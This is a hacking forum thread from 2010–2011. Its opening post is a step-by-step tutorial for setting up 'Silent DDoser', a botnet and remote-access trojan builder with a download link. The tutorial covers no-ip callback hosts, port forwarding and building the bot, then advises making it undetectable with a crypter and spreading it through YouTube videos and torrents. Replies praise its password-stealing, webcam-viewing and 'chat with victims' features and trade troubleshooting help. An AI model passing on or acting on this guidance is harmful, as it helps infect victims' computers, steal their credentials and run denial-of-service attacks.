Thread: [TuT | How To Setup Silent DDoser | TuT](#)

pistolwhip - July 13, 2010, 9:25 am

Well first hi and welcome to my TuT on how to setup Silent DDoser made by xSilentx not a mod,
First you'll need to download it : <http://www.mediafire.com/?0jnnmeyzwjq>
And it looks like this

[img]<http://img10.imageshack.us/img10/383/hackfroumssilent.jpg>[/img]

Now you'll need to setup a no-ip host so that is what re-directs your bots too you if i know correctly
go here <http://www.no-ip.com/> and sign up and start to setup a host like this

[img]<http://img121.imageshack.us/img121/7053/noipi.jpg>[/img]

Make sure that its a DnS Host and type the name of what you want it tooo be next you'll need to
create your host and make a bot like this

[img]<http://img411.imageshack.us/img411/2363/noipshiz.jpg>[/img]

Now on to your bot you'll need to enter the same information as you did on no-ip like this

[img]<http://img63.imageshack.us/img63/9897/asddz.jpg>[/img]

Along with whatever port you have open and if you dont know how to port foward go here:
<http://portforward.com/> and it should look like this

[img]<http://img19.imageshack.us/img19/4512/portshiz.jpg>[/img]

And once you have completed that then you'll need to check if your ports are open with this tool :
<http://portforward.com/help/portcheck.htm>

And it should look like this

[img]<http://img27.imageshack.us/img27/3461/portdickslol.jpg>[/img]

On too testing make sure that non of the anti's are selected and run it if done correctly you'll see ur
ip and info on Silent

You'll need to figure out how you want to spread your bot but before that make sure that its FUD or
Fully Undetectable by either buying a private crypter or getting a public not so FUD one, but many
people like to spread using youtube vids other use torrents and many other ways too but as always
thanks for reading

Hyptonix - July 13, 2010, 10:20 am

post a virus scan. other then that looks good.

pistolwhip - July 13, 2010, 10:27 am

zIISkuNkIlz - September 26, 2010, 5:03 pm

Silent DdoSeR is a decent booter.

i like the stealer function.

on stability i'd give it a 7/10

and its free so i cant complain.

thanks pistolwhip

??h™ - September 26, 2010, 5:39 pm

I tried it and it is by far the best DDoSer I've ever seen. It's simple and practical. I'm suprised I've never heard of this before. Thanks dude. :D

1llusion - December 18, 2010, 2:56 pm

Looks sooo cool!!!! The client doesnt connect to me tho... but is is my problem I gues xD

Is there anyway to disable UPnP? because thats the prob :)

Chad ThunderCock - December 18, 2010, 3:11 pm

couldnt get this to work can someone help me by teamviewer

SuburbanInsanity - December 18, 2010, 4:50 pm

NVM, it looks more like a RAT/DDoSeR at the same time with the view webcam and view desktop functions. Awesome.

Zeon - December 19, 2010, 4:25 am

It shouldn't be FUD, it's a DDoSer...

SuburbanInsanity - December 19, 2010, 6:35 am

Yeah, but it looks like a RAT too. There's the view desktop and view webcam option. There's also the chat with Victims option.

WhoTFCares - December 19, 2010, 6:46 am

Wow, seems cool.

I would try it since, DDoSer has not RAT options ?

selenagomez - December 19, 2010, 9:01 am

i remember this project when you started it on youtube like 2 years ago. Goodluck with future updates.

nasir - December 19, 2010, 9:48 am

FINALLY a DDOSER that doesnt keep getting deleted by my antivirus (i couldnt put metus on trusted list because mc affe thought that feature was "unneeded")

EDIT: what the hell... it doesnt work, "silent -DDosser has stoped working".... aww come on man..

pistolwhip - January 11, 2011, 1:05 pm

Its been a long time since ive updated this thread and i think it dosent work anymore i know it dosent for me thanks everyone

Oktim - January 13, 2011, 9:23 am

Hello guys, I see that your happy with it and if I can ask a stupid question:

Is it safe, does it has a .backdoor or something like that, is it infected ?

Thanks.

pistolwhip - January 13, 2011, 5:56 pm

look at the scan on the first page if you think it its Thanks.

Kyle - January 13, 2011, 10:35 pm

so does this still work or no ?

pistolwhip - January 13, 2011, 11:33 pm

Im sure it does, almost positive

xPerfect - January 13, 2011, 11:41 pm

WTF? did you just scan on virustotal.? xD if you did then you may stop coding malware noaw.

Jumbo12 - January 14, 2011, 5:10 am

i have a bugreport:

when i use show passwords he find my password but he split Usernames with -

but tool is very good!

Down-pUre - January 14, 2011, 8:29 am

Not a windows 7 64 bits compatible ? I am french ^^

VeNoMz - January 14, 2011, 8:54 am

Looks great.

Thanks for the share, i'm going to try and set it up now.

Can't wait for the next version.

Schwenke - January 15, 2011, 1:58 am

why doesn't it run in sandbox? (the client) i'm not saying it is backdoored but it is suspicious

Cheloo - January 15, 2011, 2:11 am

LOL wtf why doesn't this work on se7en x64??

Inspector Gadget - January 15, 2011, 5:24 am

Great tut i will try this some time today :)

Campbell13 - January 22, 2011, 12:22 am
whats the best port to boot out of

messenbrown - January 22, 2011, 2:03 am
nice tutorial thanks
i will try it soon

Tjorvla - January 22, 2011, 9:07 am
Whats wrong? When i open the client it says, has stop working windows is finding a solution... and just exits

Windows 7 64bit

eatmycheesepizza - January 31, 2011, 10:49 pm
i get that same problem :(fml !

Triny511 - February 1, 2011, 12:47 am
Looks really neat, but i'm content with my current, and would rather wait for a more updated version or better DDoS if i were to switch.

prophotographr - February 1, 2011, 4:52 pm
doesnt work on windows 7 64bit
but works on my windows XP comp

Ra?e - February 1, 2011, 6:43 pm
Very nice tutorial man keep it up.

downthecrop - February 24, 2011, 9:11 pm
Any idea how i can unlock all of the features?

autorunman22 - February 24, 2011, 9:47 pm
Hey, this one must be rest in peace.

Pzy - February 25, 2011, 3:29 am
Does it hide you're IP, (sorry im a noob), cause i think if u DdoS with a proxy on it attacks the proxy...

Fear is 1337 - February 25, 2011, 4:46 am
Thanks for the share good tut bro.

Niksutin - February 25, 2011, 5:50 am
Thanks, works great on me!

Candy1245 - February 27, 2011, 11:07 am
looks nice can u use it on runescape tho

3n4b|3d - April 20, 2011, 1:01 pm
Looks Great... Err.. If I wouldn't keep getting an error.. It keeps saying "Error Enable UPnP: Object variable or With block variable not set." Can anyone help? This happens when I try to listen. It still tries to listen but I can't manage to get the server I built, and I've tested it on myself, if someone could help me via teamviewer I would deeply appreciate it.

dosghost - June 19, 2011, 2:44 pm

Humm

SBIE2217 Request to run as Administrator was denied due to dropped rights
SBIE2219 Request was issued by program Start.exe [DefaultBox]
SBIE2217 Request to run as Administrator was denied due to dropped rights
